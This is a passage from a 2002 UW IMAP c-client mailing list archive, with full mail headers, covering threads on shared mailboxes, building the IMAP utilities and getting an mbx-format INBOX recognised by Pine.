INBOX and folders that already exist there. Thanks, Phil -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Nov 15 08:04:11 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 15 Nov 2002 08:04:11 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAFG4Bqt003908 for ; Fri, 15 Nov 2002 08:04:11 -0800 Received: FROM mx2.cac.washington.edu BY mailscan2.cac.washington.edu ; Fri Nov 15 08:04:10 2002 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAFG4AS4024407 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 15 Nov 2002 08:04:10 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAFG2xS1023994; Fri, 15 Nov 2002 08:02:59 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAFG06kW072422 for ; Fri, 15 Nov 2002 08:00:06 -0800 Received: FROM mxu3.u.washington.edu BY mailscan6.cac.washington.edu ; Fri Nov 15 08:00:05 2002 -0800 Received: from Ikkoku-Kan.Panda.COM (panda.com [206.124.149.114]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAFG043O000350 for ; Fri, 15 Nov 2002 08:00:04 -0800 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id HAA01336; Fri, 15 Nov 2002 07:59:46 -0800 (PST) Message-Id: Date: Fri, 15 Nov 2002 07:58:52 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Phil N Cc: c-client@u.washington.edu Subject: re: Mailbox shared by multiple ids In-Reply-To: <002b01c28cab$095273d0$8de7ff0a@WENDYSI.COM> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 15 Nov 2002 08:29:33 -0500, Phil N wrote: > Is it possible to have several ids share the same mailbox structure? Yes. You do it the same way that you have several IDs share the same home directories or other files. It's probably best to give all the IDs the same UNIX UID number. From pinedev@shivax2.cac.washington.edu Tue Nov 19 19:04:12 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 19 Nov 2002 19:04:12 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.136]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAK34Cqt014668 for ; Tue, 19 Nov 2002 19:04:12 -0800 Received: FROM mx2.cac.washington.edu BY mailscan1.cac.washington.edu ; Tue Nov 19 19:04:11 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAK34AS4011878 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 19 Nov 2002 19:04:10 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAK338aQ014936; Tue, 19 Nov 2002 19:03:08 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAK2w1rw009856 for ; Tue, 19 Nov 2002 18:58:01 -0800 Received: FROM mxu4.u.washington.edu BY mailscan1.cac.washington.edu ; Tue Nov 19 18:58:01 2002 -0800 Received: from falcon.mail.pas.earthlink.net (falcon.mail.pas.earthlink.net [207.217.120.74]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAK2w0Mb002298 for ; Tue, 19 Nov 2002 18:58:01 -0800 Received: from user-0ccsq0v.cable.mindspring.com ([24.206.104.31] helo=houston.rr.com) by falcon.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 18EL3w-00023p-00 for c-client@u.washington.edu; Tue, 19 Nov 2002 18:58:00 -0800 Message-Id: <3DDAFC4C.9080204@houston.rr.com> Date: Tue, 19 Nov 2002 21:06:52 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Oskar Teran To: UW-IMAP list Subject: newbie issues.....installing the utilities...getting an mbx mailbox to install!! MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN hello people, I've been trying to make an mbx mailbox for a few departments but I just can't seem to get it to work. I"ve read the o'reilly IMAP book, i've read the readme's and docs.....but I still can't get it to work!! I've installed imap 2002 on a Redhat 7.3. I also downloaded the client utilities.....did exactly as they suggest in their docs, but all I get is errors...directory does not exist...exit error 2 all over the place. What is the correct way to install this thing?? And can someone please point me to a clear documentation of how to create the mbx mailbox......I'd be so grateful for this!!! The rest of the email server is working.....I just need to make department email boxes and the mbx format seems like the correct way to go...but I can't create it.!!! Thank you, Oskar ps......I tried searching the archives....so far I haven't found what I'm looking for.....lots of mbx mentions ( that's what I'm using as a search term), but no luck on the procedure to creating it or installing the utilities correctly. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Nov 19 19:30:21 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 19 Nov 2002 19:30:21 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.136]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAK3ULqt015164 for ; Tue, 19 Nov 2002 19:30:21 -0800 Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Tue Nov 19 19:30:20 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAK3UJYT012693 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 19 Nov 2002 19:30:20 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAK3TNg2091042; Tue, 19 Nov 2002 19:29:23 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAK3Prrw023038 for ; Tue, 19 Nov 2002 19:25:53 -0800 Received: FROM mxu7.u.washington.edu BY mailscan6.cac.washington.edu ; Tue Nov 19 19:25:53 2002 -0800 Received: from fsa.cpsc.ucalgary.ca (fsa.cpsc.ucalgary.ca [136.159.2.1]) by mxu7.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAK3PqQl022436 for ; Tue, 19 Nov 2002 19:25:53 -0800 Received: from imgw1.cpsc.ucalgary.ca (ons-imgw1 [192.168.1.66]) by fsa.cpsc.ucalgary.ca (8.12.4/8.12.4) with ESMTP id gAK3PkuL029655; Tue, 19 Nov 2002 20:25:46 -0700 Received: from csh.cpsc.ucalgary.ca (csh [136.159.5.21]) by imgw1.cpsc.ucalgary.ca (8.12.3/8.12.3) with ESMTP id gAK3PjcJ032376; Tue, 19 Nov 2002 20:25:45 -0700 Received: (from arlt@localhost) by csh.cpsc.ucalgary.ca (8.12.6/8.12.6/Submit) id gAK3PhqU006213; Tue, 19 Nov 2002 20:25:43 -0700 (MST) Message-Id: <20021120032543.GB6144@csh.cpsc.ucalgary.ca> Date: Tue, 19 Nov 2002 20:25:43 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Brad Arlt To: Oskar Teran Cc: UW-IMAP list Subject: Re: newbie issues.....installing the utilities...getting an mbx mailbox to install!! In-Reply-To: <3DDAFC4C.9080204@houston.rr.com> References: <3DDAFC4C.9080204@houston.rr.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Virus-Scanned: by amavis-milter (http://amavis.org/) X-Spam-Status: No, hits=-3.0 required=9.0 tests=IN_REP_TO,QUOTED_EMAIL_TEXT,REFERENCES,SPAM_PHRASE_02_03, USER_AGENT,USER_AGENT_MUTT version=2.43 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, Nov 19, 2002 at 09:06:52PM -0600, Oskar Teran wrote: > hello people, > I've been trying to make an mbx mailbox for a few departments but I just > can't seem to get it to work. I"ve read the o'reilly IMAP book, i've > read the readme's and docs.....but I still can't get it to work!! > I've installed imap 2002 on a Redhat 7.3. I also downloaded the client > utilities.....did exactly as they suggest in their docs, but all I get > is errors...directory does not exist...exit error 2 all over the place. > What is the correct way to install this thing?? And can someone > please point me to a clear documentation of how to create the mbx > mailbox......I'd be so grateful for this!!! > > > The rest of the email server is working.....I just need to make > department email boxes and the mbx format seems like the correct way to > go...but I can't create it.!!! I am sure there are those who can give you a good answer, imap server specific answer. But my advice is use "strace" to find out the path the imap server is not finding. "man strace" to figure out how to use it. ----------------------------------------------------------------------- __o Bradley Arlt Security Team Lead _ \<_ arlt@cpsc.ucalgary.ca University Of Calgary (_)/(_) I should be biking right now. Computer Science From pinedev@shivax2.cac.washington.edu Tue Nov 19 19:41:27 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 19 Nov 2002 19:41:27 -0800 (PST) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAK3fRqt015374 for ; Tue, 19 Nov 2002 19:41:27 -0800 Received: FROM mx1.cac.washington.edu BY mailscan6.cac.washington.edu ; Tue Nov 19 19:41:26 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAK3fOYT012937 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 19 Nov 2002 19:41:26 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAK3emg2094326; Tue, 19 Nov 2002 19:40:49 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAK3bHrw029958 for ; Tue, 19 Nov 2002 19:37:17 -0800 Received: FROM mxu2.u.washington.edu BY mailscan2.cac.washington.edu ; Tue Nov 19 19:37:16 2002 -0800 Received: from Ikkoku-Kan.Panda.COM (panda.com [206.124.149.114]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAK3bFEi021643 for ; Tue, 19 Nov 2002 19:37:16 -0800 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id TAA08574; Tue, 19 Nov 2002 19:37:01 -0800 (PST) Message-Id: Date: Tue, 19 Nov 2002 19:35:24 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Oskar Teran Cc: UW-IMAP list Subject: Re: newbie issues.....installing the utilities...getting an mbx mailbox to install!! In-Reply-To: <20021120032543.GB6144@csh.cpsc.ucalgary.ca> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 19 Nov 2002 20:25:43 -0700, Brad Arlt wrote: > > exit error 2 all over the place. "Exit error 2" sounds like a Makefile error, as if you are getting errors in trying to build the software. Can you supply some transcripts of the *exact* error messages that you are getting? If you are having software building errors, perhaps you don't have the C development environment installed? From pinedev@shivax2.cac.washington.edu Tue Nov 19 23:47:01 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 19 Nov 2002 23:47:01 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.136]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAK7l1qt021364 for ; Tue, 19 Nov 2002 23:47:01 -0800 Received: FROM mx2.cac.washington.edu BY mailscan1.cac.washington.edu ; Tue Nov 19 23:47:00 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAK7kxS4017615 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 19 Nov 2002 23:47:00 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAK7k8HH028980; Tue, 19 Nov 2002 23:46:08 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAK7hRrw024508 for ; Tue, 19 Nov 2002 23:43:27 -0800 Received: FROM mxu2.u.washington.edu BY mailscan2.cac.washington.edu ; Tue Nov 19 23:43:27 2002 -0800 Received: from conure.mail.pas.earthlink.net (conure.mail.pas.earthlink.net [207.217.120.54]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAK7hREi022685 for ; Tue, 19 Nov 2002 23:43:27 -0800 Received: from user-0ccsq0v.cable.mindspring.com ([24.206.104.31] helo=kso) by conure.mail.pas.earthlink.net with smtp (Exim 3.33 #1) id 18EPW8-0001Kn-00; Tue, 19 Nov 2002 23:43:24 -0800 Message-Id: <002701c29069$c0123620$6401a8c0@kso> Date: Wed, 20 Nov 2002 01:52:12 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "pheonix1t" To: "Brad Arlt" Cc: "UW-IMAP list" Subject: Re: newbie issues.....installing the utilities...getting an mbx mailbox to install!! References: <3DDAFC4C.9080204@houston.rr.com> <20021120032543.GB6144@csh.cpsc.ucalgary.ca> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN OK..I'll try that ----- Original Message ----- From: "Brad Arlt" To: "Oskar Teran" Cc: "UW-IMAP list" Sent: Tuesday, November 19, 2002 9:25 PM Subject: Re: newbie issues.....installing the utilities...getting an mbx mailbox to install!! > On Tue, Nov 19, 2002 at 09:06:52PM -0600, Oskar Teran wrote: > > hello people, > > I've been trying to make an mbx mailbox for a few departments but I just > > can't seem to get it to work. I"ve read the o'reilly IMAP book, i've > > read the readme's and docs.....but I still can't get it to work!! > > I've installed imap 2002 on a Redhat 7.3. I also downloaded the client > > utilities.....did exactly as they suggest in their docs, but all I get > > is errors...directory does not exist...exit error 2 all over the place. > > What is the correct way to install this thing?? And can someone > > please point me to a clear documentation of how to create the mbx > > mailbox......I'd be so grateful for this!!! > > > > > > The rest of the email server is working.....I just need to make > > department email boxes and the mbx format seems like the correct way to > > go...but I can't create it.!!! > > I am sure there are those who can give you a good answer, imap server > specific answer. But my advice is use "strace" to find out the path > the imap server is not finding. > > "man strace" to figure out how to use it. > ----------------------------------------------------------------------- > __o Bradley Arlt Security Team Lead > _ \<_ arlt@cpsc.ucalgary.ca University Of Calgary > (_)/(_) I should be biking right now. Computer Science > From pinedev@shivax2.cac.washington.edu Tue Nov 19 23:48:47 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 19 Nov 2002 23:48:47 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAK7mlqt021383 for ; Tue, 19 Nov 2002 23:48:47 -0800 Received: FROM mx2.cac.washington.edu BY mailscan2.cac.washington.edu ; Tue Nov 19 23:48:46 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAK7mkS4017653 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 19 Nov 2002 23:48:46 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAK7m8g2094412; Tue, 19 Nov 2002 23:48:09 -0800 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAK7jnrw024346 for ; Tue, 19 Nov 2002 23:45:49 -0800 Received: FROM mxu5.u.washington.edu BY mailscan3.cac.washington.edu ; Tue Nov 19 23:45:49 2002 -0800 Received: from conure.mail.pas.earthlink.net (conure.mail.pas.earthlink.net [207.217.120.54]) by mxu5.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAK7jnWH013723 for ; Tue, 19 Nov 2002 23:45:49 -0800 Received: from user-0ccsq0v.cable.mindspring.com ([24.206.104.31] helo=kso) by conure.mail.pas.earthlink.net with smtp (Exim 3.33 #1) id 18EPYR-0003H1-00; Tue, 19 Nov 2002 23:45:47 -0800 Message-Id: <004901c2906a$157557a0$6401a8c0@kso> Date: Wed, 20 Nov 2002 01:54:41 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "pheonix1t" To: "Mark Crispin" Cc: "UW-IMAP list" Subject: Re: newbie issues.....installing the utilities...getting an mbx mailbox to install!! References: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I'll check for the c development env........I thought I had installed the development option during the install to get all that stuff....but I'll check to be sure. I didn't think of that. Thank you!! :) ----- Original Message ----- From: "Mark Crispin" To: "Oskar Teran" Cc: "UW-IMAP list" Sent: Tuesday, November 19, 2002 9:35 PM Subject: Re: newbie issues.....installing the utilities...getting an mbx mailbox to install!! > On Tue, 19 Nov 2002 20:25:43 -0700, Brad Arlt wrote: > > > exit error 2 all over the place. > > "Exit error 2" sounds like a Makefile error, as if you are getting errors in > trying to build the software. > > Can you supply some transcripts of the *exact* error messages that you are > getting? > > If you are having software building errors, perhaps you don't have the C > development environment installed? > From pinedev@shivax2.cac.washington.edu Wed Nov 20 06:05:59 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 20 Nov 2002 06:05:59 -0800 (PST) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAKE5xqt001510 for ; Wed, 20 Nov 2002 06:05:59 -0800 Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Wed Nov 20 06:05:58 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAKE5uS4025404 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 20 Nov 2002 06:05:57 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAKE55g2092178; Wed, 20 Nov 2002 06:05:05 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAKE1mrw019486 for ; Wed, 20 Nov 2002 06:01:48 -0800 Received: FROM mxu5.u.washington.edu BY mailscan6.cac.washington.edu ; Wed Nov 20 06:01:48 2002 -0800 Received: from mail.nmr.mgh.harvard.edu (mail.nmr.mgh.harvard.edu [132.183.202.9]) by mxu5.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAKE1lWH025830 for ; Wed, 20 Nov 2002 06:01:47 -0800 Received: from gate.nmr.mgh.harvard.edu (gate.nmr.mgh.harvard.edu [132.183.203.69]) by mail.nmr.mgh.harvard.edu (8.12.2/8.12.2) with ESMTP id gAKE1kHm023922 for ; Wed, 20 Nov 2002 09:01:46 -0500 Message-Id: Date: Wed, 20 Nov 2002 09:01:46 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Paul Raines To: c-client@u.washington.edu Subject: cannot get mbx format INBOX to work MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I have used mbxcvt to convert my INBOX (i.e. /var/mail/user) to mbx format (and have procmail use dmail deliver using dmail). However, pine directly or through the uw-imap daemon always claims it is in an invalid format. If I move the exact same file into my folder directory and open with pine, it reads it fine. So it is a valid mbx file. It is just pine and uw-imap refuse to read the INBOX in mbx format. I am using RedHat 7.1 with pine 4.44 and imap-2001a. I have tried changing inbox-path to '#driver.mbx/INBOX' but then pine (or uw-imap if I prefix with the {} stuff) just complains that "#driver.mbx/INBOX" is "no such folder" -- --------------------------------------------------------------- Paul Raines email: raines@nmr.mgh.harvard.edu MGH/MIT/HMS Athinoula A. Martinos Center for Biomedical Imaging 149 (2301) 13th Street tel:(617)-724-2369 Charlestown, MA 02129 USA fax:(617)-726-7422 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Nov 20 07:37:33 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 20 Nov 2002 07:37:33 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAKFbWqt003462 for ; Wed, 20 Nov 2002 07:37:32 -0800 Received: FROM mx2.cac.washington.edu BY mailscan2.cac.washington.edu ; Wed Nov 20 07:37:32 2002 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAKFbVS4027385 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 20 Nov 2002 07:37:31 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAKFaFS1005746; Wed, 20 Nov 2002 07:36:15 -0800 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAKFXLrw034116 for ; Wed, 20 Nov 2002 07:33:21 -0800 Received: FROM mxu3.u.washington.edu BY mailscan3.cac.washington.edu ; Wed Nov 20 07:33:20 2002 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAKFXKDe001292 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 20 Nov 2002 07:33:20 -0800 Received: from mailscan-out1.cac.washington.edu (mailscan-out1.cac.washington.edu [140.142.32.138]) by mxout5.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAKFXKpB031811 for ; Wed, 20 Nov 2002 07:33:20 -0800 Received: FROM smtp.washington.edu BY mailscan-out1.cac.washington.edu ; Wed Nov 20 07:33:19 2002 -0800 Received: from Shimo-Tomobiki.Panda.COM (mes128085095.airdata.net [166.128.85.95]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAKFX8um022301 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 20 Nov 2002 07:33:16 -0800 Message-Id: Date: Wed, 20 Nov 2002 07:33:03 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Paul Raines Cc: c-client@u.washington.edu Subject: Re: cannot get mbx format INBOX to work In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 20 Nov 2002, Paul Raines wrote: > I have used mbxcvt to convert my INBOX (i.e. /var/mail/user) to mbx format A /var/mail/user file can not be in mbx format. It can only be in the traditional UNIX mailbox format. If you put an mbx format file as a /var/mail/user file, it will not be recognized as valid since it is not in traditional UNIX mailbox format. An mbx-format INBOX is always file "INBOX" in your home directory. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Wed Nov 20 08:46:51 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 20 Nov 2002 08:46:50 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.168]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAKGkoqt005581 for ; Wed, 20 Nov 2002 08:46:50 -0800 Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Wed Nov 20 08:46:49 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAKGkmYT029887 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 20 Nov 2002 08:46:49 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAKGjdaQ014234; Wed, 20 Nov 2002 08:45:39 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAKGggrw015554 for ; Wed, 20 Nov 2002 08:42:42 -0800 Received: FROM mxu5.u.washington.edu BY mailscan1.cac.washington.edu ; Wed Nov 20 08:42:41 2002 -0800 Received: from mail.nmr.mgh.harvard.edu (mail.nmr.mgh.harvard.edu [132.183.202.9]) by mxu5.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAKGgeWH023131 for ; Wed, 20 Nov 2002 08:42:41 -0800 Received: from gate.nmr.mgh.harvard.edu (gate.nmr.mgh.harvard.edu [132.183.203.69]) by mail.nmr.mgh.harvard.edu (8.12.2/8.12.2) with ESMTP id gAKGgcHm029902; Wed, 20 Nov 2002 11:42:38 -0500 Message-Id: Date: Wed, 20 Nov 2002 11:42:38 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Paul Raines To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: cannot get mbx format INBOX to work In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 20 Nov 2002, Mark Crispin wrote: > On Wed, 20 Nov 2002, Paul Raines wrote: > > I have used mbxcvt to convert my INBOX (i.e. /var/mail/user) to mbx format > > A /var/mail/user file can not be in mbx format. It can only be in the > traditional 